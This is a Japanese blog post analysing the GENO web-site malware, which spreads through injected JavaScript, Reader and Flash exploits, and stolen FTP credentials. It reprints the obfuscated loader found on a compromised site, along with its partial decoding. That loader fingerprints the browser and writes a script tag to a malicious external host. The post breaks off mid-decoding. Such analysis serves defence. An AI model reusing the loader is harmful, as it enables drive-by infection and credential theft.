先々週末くらいに一気にフィーバーして話題なった通称 GENO ウイルス。
感染したWEBサイトを見ただけで、感染しFTPのパスワードを盗み出しさらに感染サイトを広げるという手法で、異常増殖したようです。
おまけに、各セキュリティベンダーの対応が遅れたために、アンチウイルスが効かないということで、一種のパンデミック状態にもなったようです。
ここ一週間でだいぶ情報が出てきて、ウイルスの挙動が分かるようになりました。
仕組み的には、正規のWEBサイトを改ざんし、ウイルス本体へのリダイレクトを書いた JavaScript を埋め込んで、そのサイトを踏んだ人がリダイレクト先で Adobe Reader,Flash Player の脆弱性をついたプログラムを実行させ、そこから別のウイルスをダウンロードして、、という流れみたいです。
しかし、FTP通信を監視して、アカウントを盗むというのはほんと怖い話ですね。
日本でも相当数のサイトが感染しているようです。
ということで、仮想マシン上で感染させてウイルスの挙動や、どこにFTPアカウント送っているのかや、ほんとにセキュリティソフトで検知できないかをいろいろ試してみようと思いました。
用意した環境は XP ,Adobe Reder 8.0.0,Flash Player 6.0.66.0,IE6 です。
まずは感染サイトを探さないといけません。
見つけたのは "GenoVirus感染サイトリスト"。ここで見つけた感染サイトのソースを見てみます。(今回見てみたのは名古屋の某塾・予備校のサイト。3日前に見つけましたが、いまだに修正や告知ありません。。)
すると、外部ファイル js/swfobject.js にこんな怪しい JavaScript が。。
(function(){var n1L='%';var WaBc='@76@61r@20a@3d@22Sc@72@69ptEng@69ne@22@2cb@3d@22Ve@72s@69on(@29+@22@2c@6a@3d@22@22@2cu@3dn@61viga@74or@2eus@65@72Ag@65nt@3bi@66(@28u@2ein@64exOf(@22@43hrome@22)@3c0)@26@26(u@2ei@6ede@78Of@28@22Wi@6e@22@29@3e0)@26@26(u@2eindexO@66(@22NT@206@22)@3c@30)@26@26@28docum@65nt@2ec@6f@6f@6bi@65@2einde@78Of(@22miek@3d1@22)@3c0)@26@26(t@79peof(zrvzt@73)@21@3dtyp@65of(@22A@22@29))@7bzrv@7ats@3d@22@41@22@3be@76al(@22if(@77in@64@6fw@2e@22+a@2b@22)j@3dj+@22+@61+@22@4daj@6fr@22+@62+@61+@22@4dino@72@22+b@2ba@2b@22@42u@69@6cd@22+b+@22j@3b@22)@3bdocument @2ewrite(@22@3cscr@69@70t@20s@72@63@3d@2f@2fm@22+@22ar@74uz@2e@63n@2fvid@2f@3fid@3d@22+j@2b@22@3e@3c@5c@2f@73@63@72ipt@3e@22)@3b@7d';var a3FN=unescape(WaBc.replace(/@/g,n1L));eval(a3FN)})();
どうやらエスケープや @ の挿入で難読化したスクリプト文字列をデコードして、eval で実行しているようです。
replace と unescape で可読化したものが下記です。
var a = "ScriptEngine", b = "Version()+", j = "", u = navigator.userAgent;if ((u.indexOf("Chrome") < 0) &&
(u.indexOf("Win") > 0) &&
(u.indexOf("NT 6") < 0) &&
(document .cookie.indexOf("miek=1") < 0) &&
(typeof (zrvzts) != typeof ("A")))
{
zrvzts = "A";
eval("if(window." + a + ")j=j+" + a + "Major" + b + a + "Minor" + b + a + "Build" + b + "j;");
document .write("